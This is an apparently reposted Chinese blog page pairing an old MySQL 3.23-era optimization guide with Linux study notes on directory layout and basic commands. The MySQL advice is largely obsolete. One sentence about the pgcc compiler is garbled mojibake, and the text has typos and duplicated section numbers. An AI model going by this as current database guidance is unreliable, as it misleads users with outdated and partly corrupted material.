较慢。MyODBC只是简单的直通驱动程序,比用原生接口慢19%。

有很多方法做同样的事。很难像很多ODBC驱动程序那样运行,在不同的领域还有不同的错误。

问题成堆。Microsoft偶尔还会改变接口。

不明朗的未来。(Microsoft更推崇OLE而非ODBC)

JDBC

理论上可在不同的操作系统何时据库间移植。

可以运行在web客户端。

Python和其他

可能不错,可我们不用它们。

——————————————————————————–

六、优化应用

应该集中精力解决问题。

在编写应用时,应该决定什么是最重要的:

速度

操作系统间的可移植性

SQL服务器间的可移植性

使用持续的连接。.

缓存应用中的数据以减少SQL服务器的负载。

不要查询应用中不需要的列。

不要使用Sel&#101;ct * FROM table_name…

测试应用的所有部分,但将大部分精力放在在可能最坏的合理的负载下的测试整体应用。通过以一种模块化的方式进行,你应该能用一个快速“哑模块”替代找到的瓶颈,然后很容易地标出下一个瓶颈。

如果在一个批处理中进行大量修改,使用LOCK TABLES。例如将多个Up&#100;ateS或Del&#101;teS集中在一起。

——————————————————————————–

七、应该使用可移植的应用

Perl DBI/DBD

ODBC

JDBC

Python(或其他有普遍SQL接口的语言)

你应该只使用存在于所有目的SQL服务器中或可以很容易地用其他构造模拟的SQL构造。www.mysql.com上的Crash-me页可以帮助你。

为操作系统/SQL服务器编写包装程序来提供缺少的功能。

——————————————————————————–

八、如果你需要更快的速度,你应该:

找出瓶颈(CPU、磁盘、内存、SQL服务器、操作系统、API或应用)并集中全力解决。

使用给予你更快速度/灵活性的扩展。

逐渐了解SQL服务器以便能为你的问题使用可能最快的SQL构造并避免瓶颈。

优化表布局和查询。

使用复制以获得更快的选择(sel&#101;ct)速度。

如果你有一个慢速的网络连接数据库,使用压缩客户/服务器协议。

不要害怕时应用的第一个版本不能完美地移植,在你解决问题时,你总是可以在以后优化它。

——————————————————————————–

九、优化MySQL

挑选编译器和编译选项。

位你的系统寻找最好的启动选项。

通读MySQL参考手册并阅读Paul DuBios的《MySQL》一书。(已有中文版-译注)

多用EXPLAIN Sel&#101;ct、SHOW VARIABLES、SHOW STATUS和SHOW PROCESSLIST。

了解查询优化器的工作原理。

优化表的格式。

维护你的表(myisamchk、CHECK TABLE、 OPTIMIZE TABLE)

使用MySQL的扩展功能以让一切快速完成。

如果你注意到了你将在很多场合需要某些函数,编写MySQL UDF函数。

不要使用表级或列级的GRANT,除非你确实需要。

购买MySQL技术支持以帮助你解决问题憨笑

——————————————————————————–

十、编译和安装MySQL

通过位你的系统挑选可能最好的编译器,你通常可以获得10-30%的性能提高。

在Linux/Intel平台上,用pgcc(gcc的奔腾芯片优化版)编译MySQL。然而,二进制代码将只能运行在Intel奔腾CPU上。

对于一种特定的平台,使用MySQL参考手册上推荐的优化选项。

一般地,对特定CPU的原生编译器(如Sparc的Sun Workshop)应该比gcc提供更好的性能,但不总是这样。

用你将使用的字符集编译MySQL。

静态编译生成mysqld的执行文件(用–with-mysqld-ldflags=all-static)并用strip sql/mysqld整理最终的执行文件。

注意,既然MySQL不使用C++扩展,不带扩展支持编译MySQL将赢得巨大的性能提高。

如果操作系统支持原生线程,使用原生线程(而不用mit-pthreads)。

用MySQL基准测试来测试最终的二进制代码。

——————————————————————————–

十一、维护

如果可能,偶尔运行一下OPTIMIZE table,这对大量更新的变长行非常重要。

偶尔用myisamchk -a更新一下表中的键码分布统计。记住在做之前关掉MySQL。

如果有碎片文件,可能值得将所有文件复制到另一个磁盘上,清除原来的磁盘并拷回文件。

如果遇到问题,用myisamchk或CHECK table检查表。

用mysqladmin -i10 precesslist extended-status监控MySQL的状态。

用MySQL GUI客户程序,你可以在不同的窗口内监控进程列表和状态。

使用mysqladmin debug获得有关锁定和性能的信息。

——————————————————————————–

十二、优化SQL

扬SQL之长,其它事情交由应用去做。使用SQL服务器来做:

找出基于Wh&#101;re子句的行。

JOIN表

GROUP BY

o&#114;DER BY

DISTINCT

不要使用SQL来做:

检验数据(如日期)

成为一只计算器

技巧:

明智地使用键码。

键码适合搜索,但不适合索引列的插入/更新。

保持数据为数据库第三范式,但不要担心冗余信息或这如果你需要更快的速度,创建总结表。

在大表上不做GROUP BY,相反创建大表的总结表并查询它。

Up&#100;ate table set count=count+1 wh&#101;re key_column=constant非常快。

对于大表,或许最好偶尔生成总结表而不是一直保持总结表。

充分利用Ins&#101;rt的默认值。

——————————————————————————–

十三、不同SQL服务器的速度差别(以秒计)

+————————–+——–+———+

|通过键码读取2000000行: | NT | Linux |

+————————–+——–+———+

|mysql | 367 | 249 |

+————————–+——–+———+

|mysql_odbc | 464 | |

+————————–+——–+———+ 

|db2_odbc | 1206 | |

+————————–+——–+———+ 

|informix_odbc | 121126 | |

+————————–+——–+———+ 

|ms-sql_odbc   | 1634 | |

+————————–+——–+———+

|oracle_odbc | 20800 | |

+————————–+——–+———+ 

|solid_odbc | 877   | |

+————————–+——–+———+

|sybase_odbc | 17614 | |

+————————–+——–+———+ 

+————————–+——–+———+ 

|插入350768行: | NT | Linux |

+————————–+——–+———+

|mysql | 381 | 206 |

+————————–+——–+———+

|mysql_odbc | 619   | |

+————————–+——–+———+

|db2_odbc | 3460  | |

+————————–+——–+———+

|informix_odbc | 2692  | |

+————————–+——–+———+

|ms-sql_odbc | 4012  | |

+————————–+——–+———+

|oracle_odbc | 11291 | |

+————————–+——–+———+ 

|solid_odbc | 1801  | |

+————————–+——–+———+

|sybase_odbc | 4802  | |

+————————–+——–+———+

在上述测试中,MySQL配置8M高速缓存运行,其他数据库以默认安装运行。

——————————————————————————–

十四、重要的MySQL启动选项

back_log 如果需要大量新连接,修改它。

thread_cache_size 如果需要大量新连接,修改它。

key_buffer_size 索引页池,可以设成很大。

bdb_cache_size BDB表使用的记录和键吗高速缓存。

table_cache 如果有很多的表和并发连接,修改它。

delay_key_write 如果需要缓存所有键码写入,设置它。

log_slow_queries 找出需花大量时间的查询。

max_heap_table_size 用于GROUP BY

sort_buffer 用于ORDER BY和GROUP BY

myisam_sort_buffer_size 用于REPAIR TABLE

join_buffer_size 在进行无键吗的联结时使用。

——————————————————————————–

十五、优化表

MySQL拥有一套丰富的类型。你应该对每一列尝试使用最有效的类型。

ANALYSE过程可以帮助你找到表的最优类型:Sel&#101;ct * FROM table_name PROCEDURE ANALYSE()。

对于不保存NULL值的列使用NOT NULL,这对你想索引的列尤其重要。

将ISAM类型的表改为MyISAM。

如果可能,用固定的表格式创建表。

不要索引你不想用的东西。

利用MySQL能按一个索引的前缀进行查询的事实。如果你有索引INDEX(a,b),你不需要在a上的索引。

不在长CHAR/VARCHAR列上创建索引,而只索引列的一个前缀以节省存储空间。Cr&#101;ate TABLE table_name (hostname CHAR(255) not null, index(hostname(10)))

对每个表使用最有效的表格式。

在不同表中保存相同信息的列应该有同样的定义并具有相同的列名。

——————————————————————————–

十六、MySQL如何次存储数据

数据库以目录存储。

表以文件存储。

列以变长或定长格式存储在文件中。对BDB表,数据以页面形式存储。

支持基于内存的表。

数据库和表可在不同的磁盘上用符号连接起来。

在Windows上,MySQL支持用.sym文件内部符号连接数据库。

——————————————————————————–

十七、MySQL表类型

HEAP表:固定行长的表,只存储在内存中并用HASH索引进行索引。

ISAM表:MySQL 3.22中的早期B-tree表格式。

MyIASM:IASM表的新版本,有如下扩展:

二进制层次的可移植性。

NULL列索引。

对变长行比ISAM表有更少的碎片。

支持大文件。

更好的索引压缩。

更好的键吗统计分布。

更好和更快的auto_increment处理。

来自Sleepcat的Berkeley DB(BDB)表:事务安全(有BEGIN WORK/COMMIT|ROLLBACK)。

——————————————————————————–

十八、MySQL行类型(专指IASM/MyIASM表)

如果所有列是定长格式(没有VARCHAR、BLOB或TEXT),MySQL将以定长表格式创建表,否则表以动态长度格式创建。

定长格式比动态长度格式快很多并更安全。

动态长度行格式一般占用较少的存储空间,但如果表频繁更新,会产生碎片。

在某些情况下,不值得将所有VARCHAR、BLOB和TEXT列转移到另一个表中,只是获得主表上的更快速度。

利用myiasmchk(对ISAM,pack_iasm),可以创建只读压缩表,这使磁盘使用率最小,但使用慢速磁盘时,这非常不错。压缩表充分地利用将不再更新的日志表

——————————————————————————–

十九、MySQL高速缓存(所有线程共享,一次性分配)

键码缓存:key_buffer_size,默认8M。

表缓存:table_cache,默认64。

线程缓存:thread_cache_size,默认0。

主机名缓存:可在编译时修改,默认128。

内存映射表:目前仅用于压缩表。

注意:MySQL没有运行高速缓存,而让操作系统处理。

——————————————————————————–

二十、MySQL缓存区变量(非共享,按需分配)

sort_buffer:ORDER BY/GROUP BY

record_buffer:扫描表。

join_buffer_size:无键联结

myisam_sort_buffer_size:REPAIR TABLE

net_buffer_length:对于读SQL语句并缓存结果。

tmp_table_size:临时结果的HEAP表大小。

——————————————————————————–

二十一、MySQL表高速缓存工作原理

每个MyISAM表的打开实例(instance)使用一个索引文件和一个数据文件。如果表被两个线程使用或在同一条查询中使用两次,MyIASM将共享索引文件而是打开数据文件的另一个实例。

如果所有在高速缓存中的表都在使用,缓存将临时增加到比表缓存尺寸大些。如果是这样,下一个被释放的表将被关闭。

你可以通过检查mysqld的Opened_tables变量以检查表缓存是否太小。如果该值太高,你应该增大表高速缓存。

——————————————————————————–

二十二、MySQL扩展/优化-提供更快的速度

使用优化的表类型(HEAP、MyIASM或BDB表)。

对数据使用优化的列。

如果可能使用定长行。

使用不同的锁定类型(Sel&#101;ct HIGH_PRIORITY,Ins&#101;rt LOW_PRIORITY)

Auto_increment

REPLACE (REPLACE INTO table_name VALUES (…))

Ins&#101;rt DELAYED

LOAD DATA INFILE / LOAD_FILE()

使用多行Ins&#101;rt一次插入多行。

Sel&#101;ct INTO OUTFILE

LEFT JOIN, STRAIGHT JOIN

LEFT JOIN ,结合IS NULL

o&#114;DER BY可在某些情况下使用键码。

如果只查询在一个索引中的列,将只使用索引树解决查询。

联结一般比子查询快(对大多数SQL服务器亦如此)。

LIMIT

Sel&#101;ct * from table1 Wh&#101;re a > 10 LIMIT 10,20

Del&#101;te * from table1 Wh&#101;re a > 10 LIMIT 10

foo IN (常数列表) 高度优化。

GET_LOCK()/RELEASE_LOCK()

LOCK TABLES

Ins&#101;rt和Sel&#101;ct可同时运行。

UDF函数可装载进一个正在运行的服务器。

压缩只读表。

Cr&#101;ate TEMPORARY TABLE

Cr&#101;ate TABLE .. Sel&#101;ct

带RAID选项的MyIASM表将文件分割成很多文件以突破某些文件系统的2G限制。

Delay_keys

复制功能

——————————————————————————–

二十二、MySQL何时使用索引

对一个键码使用>, >=, =, <, <=, IF NULL和BETWEEN

Sel&#101;ct * FROM table_name Wh&#101;re key_part1=1 and key_part2 > 5;

Sel&#101;ct * FROM table_name Wh&#101;re key_part1 IS NULL;

当使用不以通配符开始的LIKE

Sel&#101;ct * FROM table_name Wh&#101;re key_part1 LIKE &#39;jani%&#39;

在进行联结时从另一个表中提取行时

Sel&#101;ct * from t1,t2 wh&#101;re t1.col=t2.key_part

找出指定索引的MAX()或MIN()值

Sel&#101;ct MIN(key_part2),MAX(key_part2) FROM table_name wh&#101;re key_part1=10

一个键码的前缀使用ORDER BY或GROUP BY

Sel&#101;ct * FROM foo o&#114;DER BY key_part1,key_part2,key_part3

在所有用在查询中的列是键码的一部分时间

Sel&#101;ct key_part3 FROM table_name Wh&#101;re key_part1=1

——————————————————————————–

二十三、MySQL何时不使用索引

如果MySQL能估计出它将可能比扫描整张表还要快时,则不使用索引。例如如果key_part1均匀分布在1和100之间,下列查询中使用索引就不是很好:

Sel&#101;ct * FROM table_name wh&#101;re key_part1 > 1 and key_part1 < 90

如果使用HEAP表且不用=搜索所有键码部分。

在HEAP表上使用ORDER BY。

如果不是用键码第一部分

Sel&#101;ct * FROM table_name Wh&#101;re key_part2=1

如果使用以一个通配符开始的LIKE

Sel&#101;ct * FROM table_name Wh&#101;re key_part1 LIKE &#39;%jani%&#39;

搜索一个索引而在另一个索引上做ORDER BY

Sel&#101;ct * from table_name Wh&#101;re key_part1 = # o&#114;DER BY key2

——————————————————————————–

二十四、学会使用EXPLAIN

对于每一条你认为太慢的查询使用EXPLAIN!

mysql> explain sel&#101;ct t3.DateOfAction, t1.TransactionID

-> from t1 join t2 join t3

-> wh&#101;re t2.ID = t1.TransactionID and t3.ID = t2.GroupID

-> o&#114;der by t3.DateOfAction, t1.TransactionID;

+——-+——–+—————+———+———+——————+——+———————————+

| table | type | possible_keys | key | key_len | ref | rows | Extra |

+——-+——–+—————+———+———+——————+——+———————————+

| t1 | ALL | NULL | NULL | NULL | NULL | 11 | Using temporary; Using filesort |

| t2 | ref | ID | ID | 4 | t1.TransactionID | 13 | |

| t3 | eq_ref | PRIMARY | PRIMARY | 4 | t2.GroupID | 1 | |

+——-+——–+—————+———+———+——————+——+———————————+

ALL和范围类型提示一个潜在的问题。

——————————————————————————–

二十五、学会使用SHOW PROCESSLIST

使用SHOW processlist来发现正在做什么:

+—-+——-+———–+—-+———+——+————–+————————————-+

| Id | User | Host | db | Command | Time | State | Info |

+—-+——-+———–+—-+———+——+————–+————————————-+

| 6 | monty | localhost | bp | Query | 15 | Sending data | sel&#101;ct * from station,station as s1 |

| 8 | monty | localhost | | Query | 0 | | show processlist |

+—-+——-+———–+—-+———+——+————–+————————————-+

在mysql或mysqladmin中用KILL来杀死溜掉的线程。

——————————————————————————–

二十六、如何知晓MySQL解决一条查询

运行项列命令并试图弄明白其输出:

SHOW VARIABLES;

SHOW COLUMNS FROM …G

EXPLAIN Sel&#101;ct …G

FLUSH STATUS;

Sel&#101;ct …;

SHOW STATUS;

——————————————————————————–

二十七、MySQL非常不错

日志

在进行很多连接时,连接非常快。

同时使用Sel&#101;ct和Ins&#101;rt的场合。

在不把更新与耗时太长的选择结合时。

在大多数选择/更新使用唯一键码时。

在使用没有长时间冲突锁定的多个表时。

在用大表时(MySQL使用一个非常紧凑的表格式)。

——————————————————————————–

二十八、MySQL应避免的事情

用删掉的行更新或插入表,结合要耗时长的Sel&#101;ct。

在能放在Wh&#101;re子句中的列上用HAVING。

不使用键码或键码不够唯一而进行JOIN。

在不同列类型的列上JOIN。

在不使用=匹配整个键码时使用HEAP表。

在MySQL监控程序中忘记在Up&#100;ate或Del&#101;te中使用一条Wh&#101;re子句。如果想这样做,使用mysql客户程序的–i-am-a-dummy选项。

——————————————————————————–

二十九、MySQL各种锁定

内部表锁定

LOCK TABLES(所有表类型适用)

GET LOCK()/RELEASE LOCK()

页面锁定(对BDB表)

Alt&#101;r TABLE也在BDB表上进行表锁定

LOCK TABLES允许一个表有多个读者和一个写者。

一般Wh&#101;re锁定具有比READ锁定高的优先级以避免让写入方干等。对于不重要的写入方,可以使用LOW_PRIORITY关键字让锁定处理器优选读取方。

Up&#100;ate LOW_PRIORITY SET value=10 Wh&#101;re id=10;

——————————————————————————–

三十、给MySQL更多信息以更好地解决问题的技巧

注意你总能去掉(加注释)MySQL功能以使查询可移植:

Sel&#101;ct /*! SQL_BUFFER_RESULTS */ …

Sel&#101;ct SQL_BUFFER_RESULTS …

将强制MySQL生成一个临时结果集。只要所有临时结果集生成后,所有表上的锁定均被释放。这能在遇到表锁定问题时或要花很长时间将结果传给客户端时有所帮助。

Sel&#101;ct SQL_SMALL_RESULT … GROUP BY …

告诉优化器结果集将只包含很少的行。

Sel&#101;ct SQL_BIG_RESULT … GROUP BY …

告诉优化器结果集将包含很多行。

Sel&#101;ct STRAIGHT_JOIN …

强制优化器以出现在FROM子句中的次序联结表。

Sel&#101;ct … FROM table_name [USE INDEX (index_list) | IGNORE INDEX (index_list)] table_name2

强制MySQL使用/忽略列出的索引。

——————————————————————————–

三十一、事务的例子

MyIASM表如何进行事务处理:

mysql> LOCK TABLES trans READ, customer WRITE;

mysql> sel&#101;ct sum(value) from trans wh&#101;re customer_id=some_id;

mysql> up&#100;ate customer set total_value=sum_from_previous_statement

wh&#101;re customer_id=some_id;

mysql> UNLOCK TABLES;

BDB表如何进行事务:

mysql> BEGIN WORK;

mysql> sel&#101;ct sum(value) from trans wh&#101;re customer_id=some_id;

mysql> up&#100;ate customer set total_value=sum_from_previous_statement

wh&#101;re customer_id=some_id;

mysql> COMMIT;

注意你可以通过下列语句回避事务:

Up&#100;ate customer SET value=value+new_value Wh&#101;re customer_id=some_id;

——————————————————————————–

三十二、使用REPLACE的例子

REPLACE的功能极像Ins&#101;rt,除了如果一条老记录在一个唯一索引上具有与新纪录相同的值,那么老记录在新纪录插入前则被删除。不使用

Sel&#101;ct 1 FROM t1 Wh&#101;re key=#

IF found-row

LOCK TABLES t1

Del&#101;te FROM t1 Wh&#101;re key1=#

Ins&#101;rt INTO t1 VALUES (…)

UNLOCK TABLES t1;

ENDIF

而用

REPLACE INTO t1 VALUES (…)

——————————————————————————–

三十三、一般技巧

使用短主键。联结表时使用数字而非字符串。

当使用多部分键码时,第一部分应该时最常用的部分。

有疑问时,首先使用更多重复的列以获得更好地键码压缩。

如果在同一台机器上运行MySQL客户和服务器,那么在连接MySQL时则使用套接字而不是TCP/IP(这可以提高性能7.5%)。可在连接MySQL服务器时不指定主机名或主机名为localhost来做到。

如果可能,使用–skip-locking(在某些OS上为默认),这将关闭外部锁定并将提高性能。

使用应用层哈希值而非长键码:

Sel&#101;ct * FROM table_name Wh&#101;re hash=MD5(concat(col1,col2)) AND

col_1=&#39;constant&#39; AND col_2=&#39;constant&#39;

在文件中保存需要以文件形式访问的BLOB,在数据库中只保存文件名。

删除所有行比删除一大部分行要快。

如果SQL不够快,研究一下访问数据的较底层接口。

——————————————————————————–

三十四、使用MySQL 3.23的好处

MyISAM:可移植的大表格式

HEAP:内存中的表

Berkeley DB:支持事务的表。

众多提高的限制

动态字符集

更多的STATUS变量

CHECK和REPAIR表

更快的GROUP BY和DISTINCT

LEFT JOIN … IF NULL的优化

Cr&#101;ate TABLE … Sel&#101;ct

Cr&#101;ate TEMPORARY table_name (…)

临时HEAP表到MyISAM表的自动转换

复制

mysqlhotcopy脚本

——————————————————————————–

三十五、正在积极开发的重要功能

改进事务处理

失败安全的复制

正文搜索

多个表的删除(之后完成多个表的更新)

更好的键码缓存

原子RENAME (RENAME TABLE foo as foo_old, foo_new as foo)

查询高速缓存

MERGE TABLES

一个更好的GUI客户程序

MySQL优化简明指南

——————————————————————————–

2004-05-25

一、在编译时优化MySQL

如果你从源代码分发安装MySQL,要注意,编译过程对以后的目标程序性能有重要的影响,不同的编译方式可能得到类似的目标文件,但性能可能相差很大,因此,在编译安装MySQL适应仔细根据你的应用类型选择最可能好的编译选项。这种定制的MySQL可以为你的应用提供最佳性能。

技巧:选用较好的编译器和较好的编译器选项,这样应用可提高性能10-30%。(MySQL文档如是说)

1.1、使用pgcc(Pentium GCC)编译器

该编译器(http://www.goof.com/pcg/)针对运行?…继谙低成杓频摹?

1.2、仅使用你想使用的字符集编译MySQL

MySQL目前提供多达24种不同的字符集,为全球用户以他们自己的语言插入或查看表中的数据。却省情况下,MySQL安装所有者这些字符集,热然而,最好的选择是指选择一种你需要的。如,禁止除Latin1字符集以外的所有其它字符集:

——————————————————————————–

%>./configure -with-extra-charsets=none [--other-configuration-options]

——————————————————————————–

1.3、将mysqld编译成静态执行文件

将mysqld编译成静态执行文件而无需共享库也能获得更好的性能。通过在配置时指定下列选项,可静态编译mysqld。

——————————————————————————–

%>./configure -with-mysqld-ldflags=-all-static [--other-configuration-options]

——————————————————————————–

1.4、配置样本

下列配置命令常用于提高性能:

——————————————————————————–

%>CFLAGS=&#34;-O6 -mpentiumpro -fomit-frame-pointer&#34; CXX=gcc CXXFLAGS=&#34;-O6 -mpentiumpro -fomit-frame-pointer -felide-constructors -fno-exceptions -fno-rtti&#34; ./configure –prefix=/usr/local –enable-assembler –with-mysqld-ldflags=-all-static –disable-shared

——————————————————————————–

二、调整服务器

确保运用正确的编译固然重要,但这只是成功的第一步,配置众多的MySQL变量同样对服务器的正常运行起关键作用。你可以将这些变量的赋值存在一个配置文件中,以确保它们在每次启动MySQL时均起作用,这个配置文件就是my.cnf文件。

MySQL已经提供了几个my.cnf文件的样本,可在/usr/local/mysqld/share/mysql/目录下找到。这些文件分别命名为 my-small.cnf、 my-medium.cnf、my-large.cnf和my-huge.cnf,规模说明可在描述配置文件适用的系统类型标题中找到。如果在只有相当少内存的系统上运行MySQL,而且只是偶尔的用一下,那么my-small.cnf会比较理想,因为它命令mysqld只使用最少的资源。类似地,如果你计划构建电子商务超市,而且系统拥有2G内存,那么你可能要用到mysql-huge.cnf文件了。

为了利用这些文件中的一个,你需要复制一个最适合需求的文件,改名为my.cnf。你可以选择使用配置文件三种作用范围的一种:

Global:将my.cnf文件复制到服务器的/etc目录下,这使得配置文件中的变量作用于全局,即对所有服务器上的MySQL数据库服务器有效。

Local:将my.cnf文件复制到[MYSQL-INSTALL-DIR]/var/目录下,使得my.cnf作用于特定的服务器。[MYSQL-INSTALL-DIR]表示MySQL安装目录。

User:你可以再限制作用于特定的用户,将my.cnf复制到用户的根目录下。

究竟如何设置my.cnf中的这些变量呢?更进一步说,你可以设置哪一个变量。虽然所用变量对MySQL服务器相对通用,每一个变量与MySQL的的某些组件有更特定的关系。如变量max_connects归在mysqld类别下。执行下列命令即可知道:

——————————————————————————–

%>/usr/local/mysql/libexec/mysqld –help

——————————————————————————–

它显示大量的选项及与mysqld相关的变量。你可以很容易地在该行文字之下找出变量:

——————————————————————————–

Possible variables for option –set-variable (-O) are

——————————————————————————–

然后你可以如下设置my.cnf中的那些变量:

——————————————————————————–

set-variable = max_connections=100

——————————————————————————–

它设置MySQL服务器的最大并发连接数为100。要确保在my.cnf文件中的[mysqld]标题下插入变量设置。

三、表类型

很多MySQL用户可能很惊讶,MySQL确实为用户提供5种不同的表类型,称为DBD、HEAP、ISAM、MERGE和MyIASM。DBD归为事务安全类,而其他为非事务安全类。

3.1、事务安全

DBD

Berkeley DB(DBD)表是支持事务处理的表,由Sleepycat软件公司(http://www.sleepycat.com)开发。它提供MySQL用户期待已久的功能-事务控制。事务控制在任何数据库系统中都是一个极有价值的功能,因为它们确保一组命令能成功地执行。

3.2、非事务安全

HEAP

HEAP表是MySQL中存取数据最快的表。这是因为他们使用存储在动态内存中的一个哈希索引。另一个要点是如果MySQL或服务器崩溃,数据将丢失。

ISAM

ISAM表是早期MySQL版本的缺省表类型,直到MyIASM开发出来。建议不要再使用它。

MERGE

MERGE是一个有趣的新类型,在3.23.25之后出现。一个MERGE表实际上是一个相同MyISAM表的集合,合并成一个表,主要是为了效率原因。这样可以提高速度、搜索效率、修复效率并节省磁盘空间。

MyIASM

这是MySQL的缺省表类型。它基于IASM代码,但有很多有用的扩展。MyIASM比较好的原因:

MyIASM表小于IASM表,所以使用较少资源。

MyIASM表在不同的平台上二进制层可移植。

更大的键码尺寸,更大的键码上限。

3.3、指定表类型

你可在创建表时指定表的类型。下例创建一个HEAP表:

——————————————————————————–

mysql>Cr&#101;ate TABLE email_addresses TYPE=HEAP (

->email char(55) NOT NULL,

->name char(30) NOT NULL,

->PRIMARY KEY(email) );

——————————————————————————–

BDB表需要一些配置工作,参见http://www.mysql.com/doc/B/D/BDB_overview.html。

3.4、更多的表类型

为了使MySQL管理工作更有趣,即将发布的MySQL 4.0将提供两种新的表类型,称为Innobase和Gemeni。

4、优化工具

MySQL服务器本身提供了几条内置命令用于帮助优化。

4.1、SHOW

你可能有兴趣知道MySQL服务器究竟更了什么,下列命令给出一个总结:

——————————————————————————–

mysql>show status;

——————————————————————————–

它给出了一个相当长的状态变量及其值的列表。有些变量包含了异常终止客户的数量、异常终止连接的数量、连接尝试的次数、最大并发连接数和大量其他有用的信息。这些信息对找出系统问题和低效极具价值。

SHOW还能做更多的事情。它可以显示关于日志文件、特定数据库、表、索引、进程和权限表中有价值的信息。详见MySQL手册。

4.2、EXPLAIN

当你面对Sel&#101;ct语句时,EXPLAIN解释Sel&#101;ct命令如何被处理。这不仅对决定是否应该增加一个索引,而且对决定一个复杂的Join如何被MySQL处理都是有帮助的。

4.3、OPTIMIZE

OPTIMIZE语句允许你恢复空间和合并数据文件碎片,对包含变长行的表进行了大量更新和删除后,这样做特别重要。OPTIMIZE目前只工作于MyIASM和BDB表。

PS:本文是转载的

Tags: Posted in 技术文章我抢沙发

linux学习笔记

2010/04/28

(本文是转的)

Linux目录架构
/ 根目录
/bin 常用的命令 binary file 的目錄
/boot 存放系统启动时必须读取的档案,包括核心 (kernel) 在内
    /boot/grub/menu.lst GRUB设置
    /boot/vmlinuz 内核
    /boot/initrd     核心解壓縮所需 RAM Disk
/dev 系统周边设备
/etc 系统相关设定文件
    /etc/DIR_COLORS 设定颜色
    /etc/HOSTNAME 设定用户的节点名
    /etc/NETWORKING 只有YES标明网络存在
    /etc/host.conf 文件说明用户的系统如何查询节点名
    /etc/hosts 设定用户自已的IP与名字的对应表
    /etc/hosts.allow 设置允许使用inetd的机器使用
    /etc/hosts.deny 设置不允许使用inetd的机器使用
    /etc/hosts.equiv 设置远端机不用密码
    /etc/inetd.conf 设定系统网络守护进程inetd的配置
    /etc/gateways 设定路由器
    /etc/protocols 设定系统支持的协议
    /etc/named.boot 设定本机为名字服务器的配置文件
    /etc/sysconfig/network-scripts/ifcfg-eth0 设置IP
    /etc/resolv.conf 设置DNS
    /etc/X11   X Window的配置文件,xorg.conf 或 XF86Config 這兩個 X Server 的設定檔
    /etc/fstab 记录开机要mount的文件系统
    /etc/inittab 设定系统启动时init进程将把系统设置成什么样的runlevel
    /etc/issue 记录用户登录前显示的信息
    /etc/group 设定用户的组名与相关信息
    /etc/passwd 帐号信息
    /etc/shadow 密码信息
    /etc/sudoers 可以sudo命令的配置文件
    /etc/securetty 设定哪些终端可以让root登录
    /etc/login.defs 所有用户登录时的缺省配置
    /etc/exports 设定NFS系统用的
    /etc/init.d/ 所有服務的預設啟動 script 都是放在這裡的,例如要啟動或者關閉
    /etc/xinetd.d/   這就是所謂的 super daemon 管理的各項服務的設定檔目錄
    /etc/modprobe.conf 内核模块额外参数设定
    /etc/syslog.conf 日志设置文件

/home 使用者家目录
/lib 系统会使用到的函数库
    /lib/modules kernel 的相关模块
    /var/lib/rpm rpm套件安装处
/lost+found 系統不正常產生錯誤時,會將一些遺失的片段放置於此目錄下
/mnt     外设的挂载点
/media 与/mnt类似
/opt     主机额外安装的软件
/proc 虚拟目录,是内存的映射
   /proc/version 内核版本
   /proc/sys/kernel 系统内核功能
/root 系统管理员的家目录
/sbin 系统管理员才能执行的指令
/srv     一些服務啟動之後,這些服務所需要取用的資料目錄
/tmp     一般使用者或者是正在執行的程序暫時放置檔案的地方
/usr     最大的目录,存许应用程序和文件
/usr/X11R6: X-Window目录
/usr/src: Linux源代码
/usr/include:系统头文件
/usr/openwin 存放SUN的OpenWin
/usr/man 在线使用手册
/usr/bin           使用者可執行的 binary file 的目錄
/usr/local/bin     使用者可執行的 binary file 的目錄
/usr/lib           系统会使用到的函数库
/usr/local/lib     系统会使用到的函数库
/usr/sbin       系统管理员才能执行的指令
/usr/local/sbin 系统管理员才能执行的指令
/var 日志文件
/var/log/secure 記錄登入系統存取資料的檔案,例如 pop3, ssh, telnet, ftp 等都會記錄在此檔案中
/var/log/wtmp    記錄登入者的訊息資料, last
/var/log/messages   幾乎系統發生的錯誤訊息
/var/log/boot.log   記錄開機或者是一些服務啟動的時候,所顯示的啟動或關閉訊息
/var/log/maillog 紀錄郵件存取或往來( sendmail 與 pop3 )的使用者記錄
/var/log/cron    記錄 crontab 這個例行性服務的內容
/var/log/httpd, /var/log/news, /var/log/mysqld.log, /var/log/samba, /var/log/procmail.log:
分別是幾個不同的網路服務的記錄檔

一些常用的基本命令:
uname -a 查看内核版本    
ls -al 显示所有文件的属性
pwd       显示当前路径    
cd – 返回上一次目录     cd ~ 返回主目录
date s    设置时间、日期      
cal    显示日历     cal 2006
bc       计算器具            
man   & info     帮助手册
locale     显示当前字体     locale -a 所有可用字体     /etc/sysconfig/i18n设置文件
LANG=en 使用英文字体          
sync    将数据同步写入硬盘    
shutdonw -h now & half & poweroff   关机
reboot     重启                
startx   &   init 5 进入图形介面
/work   & ?work 向上、下查找文档内容
chgrp    改变档案群组   chgrp testing install.log
chown     改变所属人 chown root:root install.log
chmod    改变属性     chmod 777 install.log     read=4   write=2   execute=1
cp 复制 cp filename
rm 删除文件   rm -rf filename 强制删除文件
rmdir 删除文件夹
mv   移动 mv 123.txt 222.txt   重命名
mkdir     创建文件夹
touch     创建文件   更新当前时间
cat    由第一行开始显示     cat |more   分页
nl        在内容前加行号
more   &   less 一面一面翻动
head -n filename 显示第N行内容
tail -n filename   显示后N行内容
od        显示非纯文档
df -h 显示分区空间
du   显示目录或文件的大小
fdisk 分区设置 fdisk -l /dev/hda   显示硬盘分区状态
mkfs 建立各种文件系统   mkfs -t ext3   /dev/ram15  
fsck 检查和修复LINUX档案
ln    硬链接 ln -s   软件链接
whereis 查找命令
locate 查找
find    查找 find / -name “***.***”
which     查看工具
whoami 显示当前用户
gcc -v 查看GCC版本
chattr +i filename   禁止删除 chattr -i filename   取消禁止
lsattr 显示隐藏档属性
updatedb   更新资料库
mke2fs 格式化 mkfs -t ext3
dd if=/etc/passwd of=/tmp/passwd.bak 备份
mount     列出系统所有的分区
mount -t iso9660 /dev/cdrom /mnt/cdrom 挂载光盘
mount -t vfat /dev/fd0 /mnt/floppy    挂载软盘
mount -t vfat -o iocharset=utf8,umask=000 /dev/hda2 /mnt/hda2 挂载fat32分区
mount -t ntfs -o nls=utf8,umask=000 /dev/hda3 /mnt/hda3       挂载ntfs分区
Linux-NTFS Project: http://linux-ntfs.sourceforge.net/
umount /mnt/hda3   缷载
ifconfig 显示或设置网络设备
service network restart 重启网卡
ifdown eth0   关闭网卡
ifup eth0 开启网卡
clear 清屏
history 历史记录    !55   执行第55个指令
stty 设置终端 stty -a
fdisk /mbr 删除GRUB
at     僅進行一次的工作排程
